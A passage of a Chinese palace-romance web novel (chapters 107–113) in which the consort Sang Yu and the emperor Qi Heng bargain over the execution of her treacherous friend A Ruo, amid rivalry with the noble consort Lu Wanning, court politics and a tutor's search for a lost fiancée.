“荣宠?”桑余冷笑,“陛下所谓的荣宠,就是把我从浣衣局捞出来,然后关在紫宸殿这个更大的笼子里?” 祁蘅的眼中闪过一丝受伤,他给她离自己最近的宫殿,违反世俗宫规让她一举成为昭妃,可她却觉得这一切都是禁锢。 “说来说去,你就是爱上沈康了对么?” 桑余疲惫的闭上眼,长睫在苍白的脸上投下阴影:“陛下觉得,我这样的人……还有力气爱谁吗?” 夜风卷着落叶擦过龙辇,祁蘅的呼吸明显一滞。 “我爱谁,结局不都是一样么?”桑余轻笑:“从前喜欢过你,换来的却是被弃之敝履……如果臣妾还喜欢陛下,那往后余生,面对的就是和几十个妃子争宠,然后等陛下哪天厌弃我了,再将我随意休弃扔到冷宫里……” “啪”—— 祁蘅一掌拍在辇框上,整个车架都震了震。 侍卫们立刻背过身去,连呼吸都放轻了。 祁蘅一句话也不想再同她说,一把捏住桑余的下巴,倾覆了上去。 滚烫的唇压下来的瞬间,桑余猛地偏头。 那个吻落在她染血的纱布上,激起一阵刺痛。 祁蘅僵住了。 桑余感受到他身体的变化——从暴怒到怔忡,最后竟化作一声苦笑。 他松开钳制,鼻尖抚过她脖颈上渗血的纱布,却觉得她的血气让他有些失神:“又裂开了……” 祁蘅亲自拆开染血的纱布。他的动作出奇地轻柔,像是怕碰碎一件珍宝:“当年你为了保护朕,身上一直都有很多伤口,没有太医愿意相助,都是朕帮你包扎的……” 桑余身体微颤,闭上了眼。 “陛下何必提旧事。”桑余闭了闭眼,“惠嫔娘娘说过,暗卫护主,天经地义。” “只是职责?”祁蘅攥紧她的手腕,小心翼翼的皱起眉,问她:“只是指责吗?桑余,那么多次,你为我哭,为我笑,我喜欢的东西你都记得,年年都为我剪小像,抱着发烧的我哭……” 他的声音哑得不成样子,“也是职责?” 桑余眼前浮现十六岁的祁蘅。 那时先帝还厌弃祁蘅,祁蘅也还没有恢复正统皇子的身份,宫人寒冬腊月将他们赶去漏风的偏殿。 桑余就把唯一的棉被裹在他身上,自己假装不冷,手指头却被冻得通红通红。 祁蘅看见后,就抱着她的手,给她呵气取暖,揉搓着桑余冰凉的手指,就开始无声的路。 那时候的祁蘅,或许是真心在乎她。 “是。”她抽回手,“那也是职责所在,否则当初陛下一旦出什么事,身为奴婢的我也活不了。” 祁蘅怔住,看着桑余,她也学坏了,撒起谎来脸不红心不跳,和他一模一样。 祁蘅忽然低笑出声音笑声里带着几分自嘲:“是啊……那你就当,是朕离不开你。” 他捧起她的脸,拇指擦过她眼角的湿意,“就像现在一样。” 桑余不愿他碰自己,偏过了脸,又听见祁蘅轻声道:“三日后,朕会亲自送沈康出城。” 桑余闭上眼,祈祷他不是在骗自己。 他解下大氅裹住她单薄的身子,“只要你好好活着,好好留在朕的身边,朕什么都答应你。” 祁蘅眼底,像一片片晦暗的海。 桑余不知怎么回事,又想起多年前那个雪夜,少年祁蘅也是这样看着她,说:“阿余,等我当了皇帝,什么都答应你!” 如今他是皇帝了。 而她的自由,却成了他最不愿给的赏赐。 祁蘅也想不明白。 他费尽心力夺过来的皇位,难道不是桑余曾经也想要的么? 她为这个皇位付出了一切尊严和身体。 如今却说,这是囚笼。 这是至高无上的皇位,多少人虎视眈眈,只有他,只有不被所有人重视的他坐上了。 祁蘅以为,桑余会替他高兴。 可从他登基以后,她却从来没有忠心的替他高兴过一次。 “既然你觉得,这偌大的皇城是禁锢,那朕囚禁在这里一辈子不得出,你便也陪着我,一辈子困在这里。” 他眼底翻涌着暗潮,像是要将她整个人吞噬进去。 夜风卷起龙辇的纱帘,月光在他棱角分明的脸上投下斑驳的阴影。 “朕也会陪你一起囚在这里。日日夜夜,岁岁年年,直到你我白发苍苍,直到……” “直到你重新爱上朕为止。”这句话轻得像一声叹息,却又重若千钧。 他的眼神就这样偏执地锁着她,仿佛要将她的模样刻进骨血里。 桑余对上他执拗到近乎疯狂的目光,忽然挑眉笑了。 “好啊,那陛下不如也和臣妾做个交易?” 第108章 桑余要杀了她 紫宸殿内,火把摇曳,将殿内照得如同白昼。 五具尸体整齐排列在地上,覆盖着白布,在火光映照下投下诡异的阴影。 桑余端坐在檀木椅上,苍白的面容在火光中忽明忽暗。 她看着这些尸体,临娘,小顺子……这些人,前几日还和她一起说笑。 想到这里,桑余只觉得胸口一阵淤血上涌,她虚弱地咳嗽了一声。 “带进来。” 殿门开启,两名侍卫押着一个被黑布蒙眼的女子进来,将她推倒在地。 阿箬惊叫一声,黑布被粗暴的扯掉,突然恢复视线,火把的亮灼的她眼睛疼。 她先是对上了桑余那双冷若冰霜的眼睛,再一回头—— “啊——!” 阿箬尖叫着向后爬去,直到背抵上冰冷的殿柱才停下。 她浑身发抖,难以置信地望着那些尸体,又转向桑余:“娘娘?这……这是什么意思?” 桑余缓缓起身,绣着金线的裙裾拖过地面。 眼前的她,的确病弱不堪,但眸中的寒意冷酷,此刻却还是让阿箬如坠冰窟。 “是被你害死的人。”桑余的声音轻得像羽毛,却重若千钧。 阿箬瞳孔骤缩,拼命摇头:“不……不是我……娘娘明鉴……” 她什么时候杀过人? 阿箬极力否认。 桑余冷笑一声,缓缓来到阿箬面前,俯身,捏住阿箬的下巴:“你当真以为,我对你做的那些事情毫无所知吗?” “你蠢不自知,背叛我也就罢了,可偏偏作茧自缚,自掘坟墓,害了我身边这么多人——” 她猛地松开手,指向那些尸体:“他们走得那么痛苦,那你也就下去陪他们吧。” 阿箬这才明白过来,脸色瞬间惨白。 这些人是因她向祁蘅告密而死的宫人! 她跪爬向前,抓住桑余的裙角:“不是的!娘娘!不是我杀的!我没有动手,就算告密,我也没想过要害死她们……娘娘,你知道我的,我不敢的!” 桑余蹲下来,看着泪流满面的阿箬,怜惜的皱起了眉。 她从来没想到有一天,与阿箬之间,会是这幅局面。 阿箬曾在浣衣坊救过她一命,把食物留给她,只因为无意救过她一次,就将自己放在她心上感怀多年…… 可她告诉过她,只要她安分,自己绝不会寻她麻烦。 但她今日阿箬能泄露避子药的事,害了其他人,往后,也会害自己更深。 或许暗卫的天性使然,桑余能捕捉到阿箬的危险。 阿箬察觉到桑余是动了杀心,她浑身一颤,如遭大难。 她怕死,她不想死,从前当宫女时不想死,如今做了妃子,享过了荣华富贵,有了心爱的男人,她就更不想死。 阿箬辩解道:“算起来……算起来他们是陛下杀的,跟我没有关系的!” 桑余虚弱地扬起一抹嘲讽的笑,弯腰凑到阿箬耳边,轻声道:“如果可以,我当然也想杀了他……只怪我如今孑然一身,没本事弑君。” 桑余直起身,居高临下地看着阿箬:“但我,能让你下去陪他们。” 阿箬浑身颤抖,看着桑余默然冰冷的目光,突然歇斯底里地喊道:“可如果不是你喝避子药,这些人也不会死!他们的死就是与我无关!” 她一直知道桑余心软,便想用这套说辞让她内疚。 “你不是最多愁善感?他们死了,难道你是最应该下去陪他们的么?你凭什么,凭什么来杀我?” 桑余只是怜悯地看着她,像看一个将死的蝼蚁:“阿箬,你错了。” 她缓缓抬起手,指尖在火光下显得格外苍白,"我从来就不是一个多愁善感的人。” 所谓多愁善感,不过是杀了太多人后,收手后忽然想要赎罪。 顶多,算是大梦归离,虚伪纯善。 她解开袖口,露出手腕上一道狰狞的疤痕:“你认识我,认识的晚,可能不知道,我从前就是个杀人不眨眼的暗卫,这双手——” 她突然嫌恶的皱起眉,冷冰冰的看向阿箬:“只会要别人的命。” 师父一直以来教桑余的,就是心性冷硬坚韧。 如果杀一个人,她就内疚愧责一次,那她早就死了千百次。 这样的暗卫,岂非脆弱?更不合格! 桑余从乞丐堆里跟别人抢东西时,就是个狠厉的性子。 她这一生,唯一不争气的,也是唯一不可控的例外,就是对祁蘅。 阿箬惊恐地瞪大眼睛,看着桑余,只觉得陌生恐惧。 她一直以为桑余只是陪着皇上在废宫里待了几年罢了! 阿箬瘫软在地,剧烈的发抖。 看着曾经相依为命的姐妹,此刻却彼此置对方于死地,桑余觉得可悲。 “皇宫可真是个吞没人心智的地方。”她轻声叹息,转身招了招手,云雀从冷着脸端来一杯酒,端到了阿箬面前。 桑余闭上眼,说:“喝了吧,不会太痛苦。” 阿箬惊恐地向后退去:“不……不要……昭妃娘娘!姐姐!饶命啊!你以前还救过我,能不能再饶了我……” “昭妃娘娘这是想毒杀嫔妃?” 殿外忽然传来声音,门被猛地推开,是陆晚宁。 她身后还跟着一队宫女太监。 陆晚宁看到殿内情形,脸色微变,但很快恢复镇定:“昭妃妹妹,深夜私设公堂,对妃子动用私刑,可是大罪。” 酒杯在火光下泛着诡异的光泽。 桑余缓缓转身,与陆晚宁四目相对—— “贵妃娘娘?”桑余眼中浮上冷意,她有些疲惫的坐了下来,“您怎么来了,如果吓到你了,陛下又要怪我了。” 陆晚宁皱了皱眉,桑余什么时候学会她惯用的话术了? 阿箬仿佛看见了救星:“贵妃娘娘?贵妃娘娘救我!” 阿箬目光扫过地上的尸体,又看向瑟瑟发抖的阿箬,最后定格在桑余手中的酒杯上。 “姐姐病体未愈,还是少动肝火为好。”她动了动手指,身后的人就一拥而上:“这人,本宫带走了。” 桑余却摸了摸泛着丝丝疼意的脖子,反问:“贵妃娘娘急什么?” 她眼中冷笑渐起:“莫非……阿箬背后的人,是你?” 殿内气氛瞬间凝固,火把噼啪作响,映照着每个人脸上变幻莫测的神情。 陆晚宁当然不想让阿箬死。 这是她为数不多的棋子。 虽是不忠,却也方便拿捏操控。 况且,桑余竟然敢公然企图毒杀嫔妃。 如果这件事让陛下知道了…… 陛下一定不会放过她。 第109章 朕给她撑腰 陆晚宁眼中闪过一丝慌乱,随即化作盈盈泪光。 她提起裙摆快步上前,挡在阿箬面前:“昭妃姐姐,你们之间到底发生了什么,本宫的确不清楚,可想来应该也是于宝林年纪小不懂事,就算有什么错处,也该交由陛下处置才是。” 桑余皱起眉,陆晚宁此刻又变成了祁蘅喜欢的那副善良的神女模样,让人觉得作呕。 桑余缓缓直起身子,苍白的面容在火光映照下更显病态,可那双眼睛却冷得慑人。 “所以,贵妃娘娘连事情来龙去脉都不清楚,就急着替阿箬开脱?”她声音轻飘飘的,却字字如刀,“难道这些死去的人命,在娘娘眼里就这般不值一提?” 陆晚宁脸色一僵,手中帕子绞得更紧,她没想到桑余会这么咄咄逼人:“本宫只是……” “只是什么?”桑余眼中冷光乍现,“只是觉得她们活该去死?还是觉得——”她缓步逼近陆晚宁,“于阿箬害死几条命算不得什么?” 她每说一句,陆晚宁就后退一步,眼中生出震惊。 她被这番话说得面红耳赤,眼中闪过一丝慌乱。 “本宫没有!”陆晚宁泫然欲泣,“本宫只是……” 陆晚宁说着竟真的落下泪来,用帕子轻拭眼角:“只是看着这些尸体……本宫心里也难受,所以姐姐更不能如此狠心再造杀戮。” 桑余冷眼看着陆晚宁做戏,嗤笑一声。 她太了解这位贵妃的把戏了——看来她今日,是既要保全棋子,又要给自己扣上残暴的罪名。 “贵妃娘娘的慈悲,就这么因人而异?”桑余冷笑,“又可曾有人为小顺子他们掉过一滴眼泪?” 她指向地上那五具尸体,白布下隐约可见斑驳血迹:“临娘今年二十五岁,马上就可以出宫了,她的家人还在等她归家;小顺子的妹妹也在宫外,等兄长送去月钱……现在他们都成了一具具冰冷的尸体,而您——" 桑余眼中泛起血色,声音却轻得可怕:“那时又在哪里?” “贵妃娘娘倒是慈悲。”桑余轻笑,“可于阿箬告密时,怎么不见您出来主持公道?” 陆晚宁脸色微变,还未开口,阿箬已经扑上来抱住她的腿:“贵妃娘娘救我!我不想死!” 她抱着最后的求生欲,又对着桑余跪下:“娘娘!我不该同你争夺宠爱,这张脸我也可以不要,我不做您的替身了,做宫女也行!只要您能饶我一命!我还来伺候您,我代替临娘伺候您好不好?求您……” 桑余看着阿箬这副模样,她闭上了眼不再看她。 “你想回我身边,可我却不敢再要你了。” 话音落下,云雀便端着毒酒上前。 陆晚宁见状,厉声喝道:“我看谁敢!” 几个太监闻声,立刻冲上前,一把打翻云雀手中的酒杯。 云雀被两个宫人反剪双手按在地上,疼得脸色发白。 “今日谁敢在本宫面前杀害嫔妃,就是不把本宫这个贵妃放在眼里”陆晚宁环视四周,声音陡然提高,“本宫定会严格按照宫规处置!” 殿内侍卫和宫人们面面相觑,一时都不敢动作。 桑余却丝毫不慌。 她起身,慢条斯理地从最近的一具尸体上扯下一块白布,缓步走向阿箬。 “贵妃娘娘以为,杀人一定要用毒?”她声音轻柔得可怕,“勒死一个人需要多长时间,哪个部位最容易致命……” 她已经来到了阿箬的身边,蹲下身,白布瞬间缠上她纤细的脖颈:“我还是很清楚的。” 阿箬惊恐地瞪大眼睛,双手拼命抓挠着脖子上的白布,却见桑余眼中杀意凛然,手上缓缓用力。 “住手!”陆晚宁吓得后退两步,声音都变了调,“桑余!你敢当着本宫的面杀害皇上宠爱的妃子,皇上不会放过你的!” 她色厉内荏地威胁道:“到时没人给你撑腰,我看你怎么死!” 桑余手上力道不减,阿箬已经面色发青,双眼翻白。 就在此时,内殿忽然传来一道低沉的声音: "那朕,给她撑腰。" 这声音一出,满殿皆惊。 陆晚宁脸色瞬间惨白,踉跄着后退了好几步。 只见祁蘅从内殿缓步走出,玄色龙袍在火光下泛着冷光。 他看都没看阿箬一眼,径直走到桑余身旁,目光落在她因用力而泛白的手指上。 阿箬见到皇帝,眼中迸发出最后一丝希望,挣扎得更厉害了。 她喉咙里发出“嗬嗬”的声响,泪水模糊了视线。 祁蘅却只是冷冷扫了她一眼,眼中闪过一丝厌恶。 “你们还真想让昭妃自己动手?”他淡淡开口,声音里透着不耐烦。 话音未落,赵德全已经带着几个太监上前,一把捂住阿箬的嘴,利落地将她拖了出去。 阿箬绝望的呜咽声渐渐消失在殿外夜色中。 陆晚宁浑身发抖,终于明白为何桑余今日如此肆无忌惮——原来皇上一直都在! 她不可思议的皱起眉,看着祁蘅:“陛下?您当真要为了桑余,杀了于宝林?” 祁蘅置若罔闻,只是专注地看着桑余有些苍白的脸色:“解气了?” 桑余松开手中染血的白布,轻轻“嗯”了一声。 她身子晃了晃,险些站立不稳。祁蘅立刻伸手扶住她,眉头紧锁:“累了?” 桑余摇摇头,目光扫过地上那五具尸体,又看向面如死灰的陆晚宁,最后落在祁蘅担忧的脸上。 这一刻,她忽然觉得无比疲惫。 手中的白布掉在地上,她也不愿意陪他们玩下去了。 阿箬死了,她心里却不算好受。 “臣妾累了,就不陪陛下和贵妃娘娘寒暄了。” 云雀瞪了一眼那几个摁着自己的宫女,挣脱开来,急忙上前扶住了桑余。 桑余连行礼都没有,就转身离开了。 她甚至都没有再回头看祁蘅一眼。 陆晚宁看着祁蘅这幅失神的样子,仿佛受了巨大的冲击。 这次的眼泪,是真的。 她上前,一双盈盈双眼蓄满泪水,楚楚可怜: “陛下,臣妾从没有求过你什么,我只求,您不要杀于阿箬!” 第110章 我会下去陪她 祁蘅对陆晚宁于于阿箬之死百般阻拦的事情不解。 而且生出几分不耐烦。 “于阿箬是朕答应桑余的交换,她必须死。” 祁蘅的目光如刀锋般扫过陆晚宁梨花带雨的脸,眼中闪过一丝讥诮:“晚宁素来不在意他人生死,今日为何独独为于阿箬求情?” 陆晚宁挺直腰背,泪珠恰到好处地悬在睫毛上:“臣妾身为贵妃,自当维护宫规。陛下若随意处死嫔妃,传出去有损圣誉。” 她这番话说得冠冕堂皇,却在袖中攥紧了拳头。 阿箬是她布局中关键的一枚棋子,更是今日这场博弈的胜负关键。 若阿箬死了,就代表她彻底输给了桑余。 祁蘅忽然轻笑一声,这是拿圣誉来压他? 他忽然勾了勾手指,陆晚宁目光一动,还以为是祁蘅心软了,便缓缓上前。 祁蘅忽然抬起陆晚宁的下巴,眼中笑意淡去:“朕记得,你从前在北境时,可没这么多弯弯绕绕。” 陆晚宁眼中闪过一丝慌乱,随即化作更汹涌的泪水:“那陛下为何对臣妾如此冷淡?” 她声音哽咽,“自从桑余火场出事以后,您眼里可还有臣妾半分?” 祁蘅目光一顿,抽回了手。 “此事不必再议。” 不知道为什么,看到陆晚宁如此恳求自己,祁蘅也生不出半分心疼。 她哭,他毫无波澜。 可若是桑余这样求他,他怕是早就动摇了。 祁蘅意识到,自己对桑余的好,已经超过了陆晚宁。 失控了。 祁蘅非常讨厌事情不受自己控制的感觉。 他有些漫不经心地整理了下袖子,便挥手让陆晚宁退下:“你既舍不得于阿箬,就将她好生安葬了。贵妃今日也累了,回宫歇息吧。” …… 陆晚宁拢起眉头,不可思议。 祁蘅是真的,对她没有半分在意了。 从前只要她要,不要说一个宝林,任是谁都可以保住。 她今夜……输给了桑余。 —— 于阿箬被扣在御花园的地上,早已经是哭的泪流满面,抖如糠筛。 嘴里还念着桑余的名字。 望着远处的紫宸殿,她心中后悔极了。 她从前想要离开的地方,成了她最想回去的地方。 而身的桂花林,那个她十六年来第一个爱的男人,为她种下的桂花树……却成了她的血溅地。 桑余说的没错,这个男人不会对任何人有真心。 这个男人的爱太易碎了。 他只爱自己。 赐死自己时,他一眼都没有看自己…… 如果……如果可以,于阿箬宁愿划破自己的脸,也不要被他瞧上。 赵德全让人将绳子套在了于阿箬的脖子上,他冷冷开口:“娘娘吩咐了,让老奴给你个痛快。” 阿箬微怔,问:“哪个……娘娘?是贵妃娘娘么?” 赵德全好像听到了笑话,低头无奈的笑了笑。 “是昭妃娘娘。贵妃娘娘早就回了,于宝林啊于宝林,事到如今你还不明白?贵妃怎么会将你放在心上?你走上今日的路,到底是受了谁的鼓吹?” 阿箬眼中不可思议,想起了陆晚宁第一次来找自己的时候。 只可惜她太想回到祁蘅身边,竟忘了陆晚宁曾经是个什么样的人。 赵德全继续说:“原本你这样的人,应该死后就地埋了干净当花肥,可昭妃娘娘还叫奴婢将你同她愿意里死的那些人一同归家厚葬。她说,你也是个孤女,怕没有人为你收尸,便对外宣称你是死于护主,今后每年还有人去为你扫墓,知足吧。” 于阿箬已经不再发抖了,脖子上的绳子一点点收紧。 可她心中,只剩下悔意。 半个时辰前,她甚至在想哪怕做了鬼也要让桑余不得好死…… 一直以来,对她真正好的人,就是桑余啊。 她早早给自己备下了出宫的钱财,说会替她寻个好夫家…… 就连自己做了祁蘅的女人,她也没有恨过自己半分。 是自己触犯了底线,害死了她身边那么多人。 她知错了。 可是,回不去了。 阿箬一点点闭上眼睛,像个小女孩儿一样害怕的蜷缩起来,蹬了两下腿,便彻底没了动静。 她本来,就只是一个女孩儿。 —— 祁蘅来到桑余的寝殿时,她正坐在铜镜前,云雀小心翼翼地替她梳理着长发。 他挥了挥手,让云雀退下,接过梳子,站在桑余身后。 “朕来帮你。”他声音放得很轻,像是怕惊扰了她。 桑余没有拒绝,却也没有回应,只是垂下了眼,连镜子里的他也不愿意看。 祁蘅的手指穿过桑余如瀑的青丝,动作轻柔,握着檀木梳,忽然发现了什么—— 这不是他送的那把。 “阿余,”祁蘅声音微沉,“朕上一次送你的那把梳子呢?” 桑余回过神来,才淡淡道:“坏了。” “什么时候的事?”祁蘅追问,手中的梳子不自觉地握紧。 桑余如今想起那把梳子,早已不似当初心痛难过,甚至毫无波澜:“陛下迎陆回宫回宫那日。臣妾没拿稳,不小心掉在地上,摔断了。” 祁蘅的心脏猛地一缩,像是被人狠狠攥住。 他记得那天——他为了给陆晚宁做足场面,特意亲自去迎接的她。 “朕……”他喉结滚动,声音有些哑,“明日让造办处给你重新做一把更好的。” 桑余轻轻摇头:“不必了,我用这个就好。” 祁蘅看着她疏离的态度,胸口泛起一阵钝痛。 他放下梳子,双手撑在妆台上,将桑余困在自己与铜镜之间,头撑在她的肩膀上,声音暗哑:“阿余,你在生朕的气?” 桑余终于抬过头来,透过镜子看向他:“陛下多虑了,一把梳子而已,臣妾用什么都可以,怎么会生气呢?” 不值得生气,也不值得他特意再做一把。 这句话像一把钝刀,缓慢地割着祁蘅的心。 他忽然意识到,桑余对他所有的好意都开始保持距离——就像对待一个不得不应付的陌生人。 “朕答应你的事,已经做到了,就算晚宁求朕,朕都没有丝毫动摇。” 他像是向心爱之人邀功请赏的少年,语气里充满了小心翼翼:“阿余……你能不能,对朕笑一笑?” 桑余一顿,微微偏开身子,回头看向了祁蘅。 她笑了,却是冷笑。 “陛下,可你也答应过我,要照顾好阿箬。事情发展到今日,她的死,你和我都是罪人。不过您是九五之尊,她的命于你而言毫不重要,甚至她视若珍宝地妃嫔之位,也只是您一时兴起罢了。 我更卑劣,是我害她入了乾清宫,是我一定要杀了她。从前我当她是妹妹,她死前我都不敢看她的眼睛。 不过,她怪我也没关系,因为我知道过不了多久,我就下去陪她了。” 第111章 求陛下不要让我生下你的孩子 祁蘅听到这话,心脏猛地一缩,像是被一只无形的手狠狠攥住。 他一把扣住桑余的手腕,力道大得几乎要捏碎她的骨头:“不许说这种话!” 祁蘅声音里带着前所未有的慌乱:“朕绝不会让你死!从前不会,以后更不会。” 桑余被他突如其来的动作吓到了,但很快又恢复了那副淡漠的神情。 她看着祁蘅眼中翻涌的情绪,忽然觉得有些可笑——明明是这个人亲手将她推入深渊,现在却又摆出这副在乎的模样。 祁蘅似乎也意识到自己的失态,松开手,转而轻轻抚上桑余还有些红肿的额头。 那里是昨日她跪在地上求自己时磕破的,到现在还泛着淡淡的青紫。 想起她惶恐祈求自己的样子,祁蘅以为她是被吓到了。 “对不起,还疼吗?”他声音放得极轻,指尖小心翼翼地避开伤处,“朕昨日……是胡言乱语。” 他喉头滚动,艰难地挤出这句话,“朕只是气你瞒着我喝避子药,只要你答应朕以后再也不喝了,朕怎么会真的把你关起来……” 说到“冷宫”二字时,祁蘅的声音明显颤抖了一下。 他想起自己的母亲——那个温柔似水的女人,就是在冷宫里一点点枯萎,最后变成一具冰冷的尸体。 他怎么可能……怎么忍心将桑余也丢进那个地方? 桑余却只是平静地看着他,眼中没有怨恨,也没有感动,就像在看一个与自己无关的陌生人。 这种眼神比任何指责都更让祁蘅心痛。 “陛下不必如此。”她轻轻拨开祁蘅的手,“臣妾知道自己的身份,从阿箬的结局,也大抵能猜出自己的将来。” 为了阿箬种桂花又如何,杀她时不还是眼睛都不眨一下。 祁蘅胸口一阵发闷,他弯腰,桑余平视:“阿余,朕只是……”他声音低哑,“只是想看你笑一笑。” 话一出口他就后悔了。 现在的他,还有什么资格要求桑余对他笑? 那些伤害和恐惧已经造成,不是几句轻飘飘的道歉就能抹去的。 桑余目光冷冷的:“你知道,臣妾为什么要喝避子药么?因为我见过陛下还是皇子的时候过得有多艰难,我不想我的孩子也是这般。被欺凌,被压迫,没有人会像我保护陛下一样保护他。” 祁蘅的心被狠狠触动,他有种不敢再看桑余眼睛的冲动。 可桑余却一动不动的凝视着他。 “陛下,你只怪我喝了避子药,可是,你以为是我想的么?” 桑余皱起眉,忍住想要作呕的冲动:“那个药,那么苦……难以下咽,我甚至都无法确定贺贞有没有在里面加别的东西。” “您会有很多很多的孩子,可我只可能有一个孩子,我这样的人,如何护得住我自己的孩子?” “您放了沈康,臣妾很感激,您也帮我杀了阿箬,交易达成。可我知道,您不会真的放过师父,他会一直是你用来威胁我的把柄。所以我不会再逃了,大不了,就是在这里待一辈子,反正我也没什么向往的了。” “臣妾不后悔为了扶持您登帝九死一生,因为陛下是个好皇帝,这一年大元朝风调雨顺,国泰民安。臣妾只是后悔曾经动了不该有的心思,陛下有一句话说的很对,我说来说去,不过是个奴婢,骨子卑贱,明明眼下得到的,已是诸多世人无法企及的。” “所以以后,臣妾不会再……”桑余说到这里,心口猛的一痛,她皱了皱眉,继续道:“不会再动任何不该有的心思。” “我只想求陛下,不要让我生下的您的孩子。” “在我有一天死了的时候,他被别人欺凌折辱,也没人出来护着他。” “陛下,不如高抬贵手,许给臣妾一个圆满。” 桑余的目光很坚定,仿佛只是在同祁蘅谈一桩生意。 眼里,没有对祁蘅的半点信任。 她一点都不想给他生孩子。 祁蘅迟疑的看着她眼里的决绝。 所以,她的圆满,就是沈康安然活着?就是不用给自己生孩子? 她竟怕到连他的孩子都不敢要。 祁蘅眼中的光一点点暗淡下去。他缓缓站起身,想说什么却又咽了回去。 最终,他只是轻轻抚过桑余的发梢:“以后别再说这种话了,不然朕真的会想杀了你……” “可你知道,现在的朕舍不得。” “你放心,朕不会让我们的孩子重蹈幼时的覆辙,我也不会做父皇那样的人。” 祁蘅避开她的目光,往外走去:“你好好休息,朕……明日再来看你。” 走到门口时,祁蘅忽然停下脚步,背对着桑余道:“那把梳子……朕还是会让人重新做一把。”他声音很轻,像是在自言自语,“朕记得你收到那日很开心,你说你很喜欢那把梳子,摔碎那天,你应该很难过。” 桑余没有回应,只是看着铜镜中自己模糊的倒影。 镜中人面色苍白,眼中再无往日神采。 祁蘅第一次感到无力,明明拥有天下,却换不来眼前人一个真心的笑容。 桑余没有挽留,只是在他转身时轻声说了句:“恭送陛下。” 祁蘅没有停下,大步离开了寝殿。 他怕再多待一刻,就会控制不住将桑余揉进怀里的冲动—— 而他清楚,现在的她,连这样的触碰都会抗拒。 祁蘅冷笑了笑,一出门,被刺骨的冷风吹的有些猝不及防。 他看着月亮,鄙夷自己今夜又对桑余的伏低做小。 可他忍不住。 他对陆晚宁,都没有如此小心翼翼过。 这就是真正的喜欢么? 第112章 亲一亲也不可以么? 金銮殿。 祁蘅端坐在龙椅上,指尖无意识地摩挲着扶手上雕琢的龙纹,漫不经心的听着朝臣一个一个的进谏。 “陛下登基已有一载,中宫空悬,子嗣凋零,实非社稷之福啊。”白发苍苍的老臣跪在玉阶下,额头紧贴冰凉的金砖,“老臣斗胆,请陛下广纳嫔妃,早日诞下龙子。” 祁蘅眯起眼睛,目光扫过殿中垂首的群臣。 “爱卿们倒是关心朕的私事。”祁蘅忽然轻笑一声,指尖在龙案上敲出清脆的声响,“不如先说说江南水患的赈灾银两,为何至今还有三十万两未到灾民手中?” 礼部尚书身子一颤,灰白的胡须抖得厉害。 祁蘅慢慢站起身,玄色龙袍上的金线在晨光中泛起冷芒。 他缓步走下玉阶,靴底碾过老臣投在地上的影子:“朕的子嗣,何时生,谁来生,不劳诸位爱卿操心。倒是这江山社稷——” 他顿了顿,轻声却威严:“若有人想借着龙嗣之事搅弄风云,朕不介意让刑部大牢多几个住户。” 这句话像把冰刀,剐得满朝文武脊背生寒。 这位皇上自登基后便一直难以捉摸。 杀起人来更是眼睛都不眨。 他们自然害怕。 不过今日祁蘅倒没打算徒增血腥。 因为他今日还要去看桑余,身上熏了金桂熏香,不想沾染了血气。 “退朝。” 祁蘅甩袖转身,绣着暗纹的衣摆扫过玉阶,大步离去。 烛火摇曳,映得陆晚宁半边脸隐在阴影里。 她指尖捏着密信,指甲几乎要掐进宣纸中。 “废物!”她猛地将信拍在案上,茶盏震得叮当作响,“哥哥连这点事都办不好,还让陛下当众揪住了赈银的把柄!” 跪在地上的心腹太监额头抵着青砖:“娘娘息怒……陛下这几日心情一直不甚好,所以此事才失了策……” “本宫不想听这些!” 陆晚宁一把扫落案上茶具,碎瓷溅在跪着的宫女手背上,顿时划出几道血痕。 宫女死死咬唇不敢出声,任由血珠滴在织金地毯上,洇开暗红斑痕。 陆晚宁胸口剧烈起伏,金线绣的牡丹纹样在烛光下狰狞如鬼爪。 “去告诉哥哥,”她忽然压低声音,染着蔻丹的指尖挑起太监下巴,“既然明的不行……就让那些老东西在民间散布谣言。” 红唇勾起一抹冷笑,“就说陛下专宠妖女,以致子嗣凋零,国运衰微。” 紫宸殿。 桑余伏在青玉案上浅眠,初夏的日头有些闷热,她出了一层薄汗。 恍惚间有阴影笼罩,桑余猛的惊醒。 第113章 一定要带她回家 李识衍的笔尖在宣纸上微微一顿,墨汁晕开一小片阴影。 从前阿星就长长说他的字好。 李识衍抬眼看着祁翎天真无邪的小脸,嘴角扯出一丝笑意:“是吗?” 祁翎趴在案几上,小手托着腮帮子:“是啊,皇嫂生性冷淡,甚少对人称赞什么。” 说到这里,他长长的叹了口气,又说:“夫子你不知道,我皇嫂其实以前也可喜欢笑了。我小时候她总带我去御花园扑蝴蝶,还偷偷给我糖吃。” 孩子的声音突然低落下来,“可现在她连笑都很少了,脸色白得像宣纸。也不知道皇兄对她做了什么坏事......” “殿下!”李识衍猛地打断他,声音比平时严厉了几分,“慎言。” 窗外一阵风吹过,竹影婆娑,沙沙作响。 祁翎吐了吐舌头,转而好奇地打量书房:“夫子,你这里怎么这么多医书啊?《本草纲目》《伤寒杂病论》......你不是教诗书的吗?” 李识衍迅速将案上摊开的《毒经》合上,轻声道:“学无止境,你应也是如此。” 祁翎努努嘴,显然不感兴趣。 其实,是因为李识衍上次在陆府,季远安同陆淮安争执中,他听到阿星受了很多伤。 他想,如果……如果上苍垂怜,他真的找到了她,一定要治好她。 祁翎有些无所事事,想到前几日诗经里学过的“窈窕淑女,君子好逑”,他大概明白一些意思。 今日看见皇兄抱着皇嫂,两个人亲密无间,应该就是这个意思吧? “那夫子你有喜欢的人吗?”祁翎突然凑近,眼睛亮晶晶的,“你都二十七岁了,快成老夫子了,还没有娶妻么?” 毕竟,于祁翎而言,他的那几个兄长,除了祁蘅,其他的十几岁就有了通房和侧妃,有的甚至刚及冠便有了子嗣。 李识衍的手一抖,茶水洒在衣袖上。 他望着水渍慢慢洇开,被祁翎这么一问,倒有些难为情。 “我母亲都没催我,小王爷倒是想操心。陛下说的没错,你的确课业少了。” 祁翎瞪大眼睛,急忙解释,奶呼呼的声音装的格外严肃:“我也是因为想到了你教给我的诗,这是学以致用!况且,你要是没有喜欢的人,本王帮你找啊,宫里有很多漂亮的宫女姐姐和女官。” “我有......”他的声音轻得几乎听不见,“只是我还没找到她。” 祁翎歪着头:"你有?" “家父有位挚友,曾经是京城的一位将军。”李识衍的目光穿过窗棂,望向远处宫墙上的浮云,“沈将军的女儿叫沈星,我们......”他的喉结滚动了一下,“我们从小就有婚约,那时,我最重要的事情就是守着她,护着她。” 祁翎睁大了眼睛,仿佛听到了比所有书本都有意思的事情:“然后呢?” 